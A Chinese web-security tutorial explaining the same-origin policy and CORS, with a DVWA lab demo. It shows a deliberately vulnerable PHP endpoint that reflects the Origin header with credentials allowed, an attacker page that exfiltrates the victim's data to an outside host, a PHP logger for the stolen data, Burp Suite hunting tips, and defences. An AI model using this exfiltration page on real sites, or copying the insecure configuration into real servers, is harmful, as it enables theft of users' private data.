同源安全策略

同源策略(Same Origin Policy)是一个很重要的安全理念,是客户端脚本的重要的安全度量标准,其目的是防止某个文档或脚本从多个不同源进行装载。

根据这个策略,a.com域名下的JavaScript无法跨域操作b.com域名下的对象。比如,baidu.com域名下的页面包含的JavaScript代码,不能访问google.com域名下的页面内容。

JavaScript必须严格遵循浏览器的的同源策略,包含Ajax(事实上,Ajax也是由JavaScript组成)。通过XMLHttpRequest对象实现的Ajax请求,不能向不同的域提交,比如,在abc.test.com下的页面,不能向def.test.com提交Ajax请求。

这里的“同源”指的是同协议、同域名、同端口

image

关于JavaScript能否跨域通信的详细说明,见下表:

http://www.a.com/a.js访问以下URL的结果

URL 是否允许通信 备注
http://www.a.com/b.js 同域名同端口同协议
http://www.a.com/Script/b.js 同域名同端口同协议,不同目录
http://www.a.com:8080/b.js 同域名不同端口
https://www.a.com/b.js 同域名不同协议
http://70.32.92.43/b.js 域名和域名对应的IP
http://test.a.com/b.js 主域名相同,子域名不同
http://a.com/b.js 主域名相同,子域名不同
http://www.b.com/b.js 不同域名

由此可见,同源策略认为来自其它任何站点的装载内容都是不安全的。

![XurRR](https://i.loli.net/2021/11/20/zeqiV62oPhKH8BD.gif)

![](https://i.loli.net/2021/11/20/xgKWcPLFRrqNeYy.gif)

这个限制十分重要。假设攻击者利用Iframe把真正的银行登录页面嵌到他的页面上,当用户使用真实用户名、密码登录时,该页面就可以通过JavaScript读取到用户名表单的内容,这样用户名和密码信息就被泄露了。

而运用了同源安全策略后,用户就能确保自己正在查看的页面确实来自正在浏览的域。

然而,受到同源策略的影响,跨域资源共享就会受到制约。当进行一些比较深入的前端编程的时候,不可避免地需要进行跨域操作,这时候同源策略就会显得过于苛刻。于是开发者就会想出各种各样的跨域方法,比如使用CORS、JSONP等。虽然跨域技术能带来更多功能,但是功能的开放也意味着安全的风险。

即便是有了浏览器沙箱和同源策略的保护,用户依然会受到黑客的各种攻击,XSS跨站脚本就是最大的威胁之一。

CORS的介绍

CORS(Cross-Origin Resource Sharing,跨域资源共享)是一种放宽浏览器的同源策略,利用这种策略可以通过浏览器使不同的网站和不同服务器之间实现通信。具体来说,这种策略通过设置HTTP头部字段,使客户端有资格跨域访问资源。通过服务器验证和授权后,浏览器有责任支持这些HTTP头部字段并且确保能够正确地施加限制。

CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。

整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。

相关的HTTP头部字段所代表的含义和介绍如下表所示:

请求类型 请求字段 描述
请求头 Origin 用来说明请求从哪里发起,包括且仅仅包括协议和域名
该参数一般只存在于CORS跨域请求中,可以看到response有对应的header: Access-Control-Allow-Origin
请求头 Access-Control-Request-Method 发出请求时报头用于预检请求,让服务器知道哪些HTTP方法的实际请求时将被使用
请求头 Access-Control-Request-Headers 用于通知服务器在真正的请求中会采用哪些请求头
响应头 Access-Control-Allow-Origin 指定允许访问资源的外域URI,对携带身份证的请求不可使用通配符(*)
响应头 Access-Control-Allow-Credentials 用于通知浏览器是否允许读取response的内容

CORS漏洞,既然是用于跨域场景,自然少不了跨域中经常存在的一些安全问题,例如信息泄露等等,CORS的漏洞主要来源于服务端对于Origin的弱校验,从而导致黑客只要构造了一个CORS请求,就能跨域获取到信息。

如果不启用cors的时候,恶意脚本发出一个请求之后发生的事情:

img

默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。

img

简单请求与非简单请求

浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。

只要同时满足以下两大条件,就属于简单请求。

(1)请求方法是以下三种方法之一:

  • HEAD
  • GET
  • POST

(2)HTTP的头信息不超出以下几种字段:

  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Type:只限于三个值application/x-www-form-urlencodedmultipart/form-datatext/plain

这是为了兼容表单(form),因为历史上表单一直可以发出跨域请求。AJAX 的跨域设计就是,只要表单可以发,AJAX 就可以直接发。

凡是不同时满足上面两个条件,就属于非简单请求。

浏览器对这两种请求的处理,是不一样的。

在这里插入图片描述

在这里插入图片描述

有关这两种请求的详细流程可以参考如下文章:

https://www.ruanyifeng.com/blog/2016/04/cors.html

靶场演示

漏洞测试

我们基于DVWA靶场简单写了一个获取当前用户信息的接口。

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("Content-Type: text/plain");
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );
dvwaDatabaseConnect();

$query = "SELECT user_id, first_name, last_name, user, last_login FROM users WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
$row = mysqli_fetch_row( $result );

printf ('{"user_id":"%d","first_name":"%s","last_name":"%s","user":"%s","last_login":"%s"}',$row[0],$row[1],$row[2],$row[3],$row[4]);

?>

我们尝试使用Ajax去请求这个用户接口,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CORS Test</title>
</head>
<body>
<script type="text/javascript">
function ajaxfunction(the_request_url) {
var xmlHttp;
xmlHttp = new XMLHttpRequest();

if (xmlHttp) {
xmlHttp.open('GET', the_request_url, true);
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
document.getElementById('info').innerHTML = xmlHttp.responseText;
}
};
xmlHttp.withCredentials = true;
xmlHttp.send(null);
} else {
alert('error');
}
}

</script>
<input type="button" id="test" value="get info" onclick="javascript:ajaxfunction('http://hackrock.com:812/vulnerabilities/cors/')"><br>
<textarea id="info" style='width: 800px; height: 100px;'></textarea>
</body>
</html>

发现请求失败,原因是因为缺少Access-Control-Allow-Credentials头部

image-20211120175804233

修改源代码,使其可以通过CORS被Ajax请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if (@$_SERVER['HTTP_ORIGIN']){
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
}else{
header("Access-Control-Allow-Origin: *");
}
header("Access-Control-Allow-Headers: X-Requested-With");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");

header("Content-Type: application/json");
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );
dvwaDatabaseConnect();

$query = "SELECT user_id, first_name, last_name, user, last_login FROM users WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
$row = mysqli_fetch_row( $result );

printf ('{"user_id":"%d","first_name":"%s","last_name":"%s","user":"%s","last_login":"%s"}',$row[0],$row[1],$row[2],$row[3],$row[4]);

?>

成功通过Ajax请求到用户接口

image-20211120180453780

代码分析

PHP设置了头部字段Access-Control-Allow-Origin: $_SERVER['HTTP_ORIGIN']给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。

PHP设置Access-Control-Allow-Credentials字段为true说明服务器同意发送Cookie。但是必须在AJAX请求中打开withCredentials属性,浏览器才能允许发送。

1
2
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

需要注意的是,如果要发送Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。

抓包演示

image-20211120181024266

抓包发现请求http://hackrock.com:812/vulnerabilities/cors/发现了对应的响应头。Access-Control-Allow-Origin指是允许访问的源,Access-Control-Allow-Credentials指的是允许带上cookie访问资源。这样浏览器就不会出错而拦截请求了。

漏洞利用

CORS漏洞虽然和CSRF漏洞是两种不同的概念,但是二者的利用方法却如出一辙。

构造我们要发送给受害者的恶意页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CORS Test</title>
</head>
<body>
<script type="text/javascript">
function get_info(the_request_url) {
var xmlHttp;
xmlHttp = new XMLHttpRequest();

if (xmlHttp) {
xmlHttp.open('GET', the_request_url, true);
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
new Image().src = "http://hackmee.com/attack/get_info.php?info=" + xmlHttp.responseText;
}
};
xmlHttp.withCredentials = true;
xmlHttp.send(null);
}
}

get_info('http://hackrock.com:812/vulnerabilities/cors/');
</script>
</body>
</html>

创建接收用户数据的文件

1
2
3
4
5
6
<?php 
$info = $_GET['info'];
$log = fopen("info.txt", "a");
fwrite($log, $info ."\n");
fclose($log);
?>

当用户点开恶意链接的时候,就可以自动获取用户的敏感数据了。

CORS漏洞挖掘技巧

我们可以总结挖掘CORS漏洞的以下特点:

请求头携带CORS特征:

  • Origin: xxxxx

响应头携带CORS特征:

  • Access-Control-Allow-Origin: xxxxx
  • Access-Control-Allow-Method: POST,GET,OPTIONS
  • Access-Control-Allow-Credentials: true

所以在我们挖掘CORS漏洞中将BurpSuite的请求头中加上Origin的头部字段

在这里插入图片描述

访问足够多的认为有漏洞的网站后,再将Proxy模块下的HTTP history来筛选带有CORS头部的值

在这里插入图片描述

筛选条件可以设置成:

1
2
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

在这里插入图片描述

CORS漏洞的防御

如果不必要就不要开启CORS

仔细评估是否开启CORS,如果不必要就不要开启CORS

定义白名单

如果是绝对必要的话,要定义“源”的白名单。尽量不使用正则表达式配置,不要配置“Access-Contol-Allow-Origin”为通配符“*”,同时严格校验来自请求的Origin值。

仅仅允许安全的协议

仅仅允许安全的协议,有必要验证协议以确保不允许来自不安全通道(HTTP)的交互,否则中间人(MitM)将绕过应用是所使用的HTTPS

配置“VARY”头部

要尽可能的返回”Vary: Origin”这个头部,以避免攻击者利用浏览器缓存

如果可能的话避免使用“CREDENTIALS”

由于“Access-Control-Allow-Credentials”标头设置为“true”时允许跨域请求中带有凭证数据,因此只有在严格必要时才应配置它。此头部也增加了CSRF攻击的风险;因此,有必要对其进行保护。

限制使用的方法

通过“Access-Control-Allow-Methods”头部,还可以配置允许跨域请求的方法,这样可以最大限度地减少所涉及的方法。

限制缓存的时间

通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间。可以通过使用“Access-Control-Max-Age”标题来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值(例如大约30分钟),确保浏览器在短时间内可以更新策略(比如允许的源)。

仅配置所需要的头

仅在接收到跨域请求的时候才配置有关于跨域的头部,并且确保跨域请求是合法的(只允许来自合法的源)。

参考资料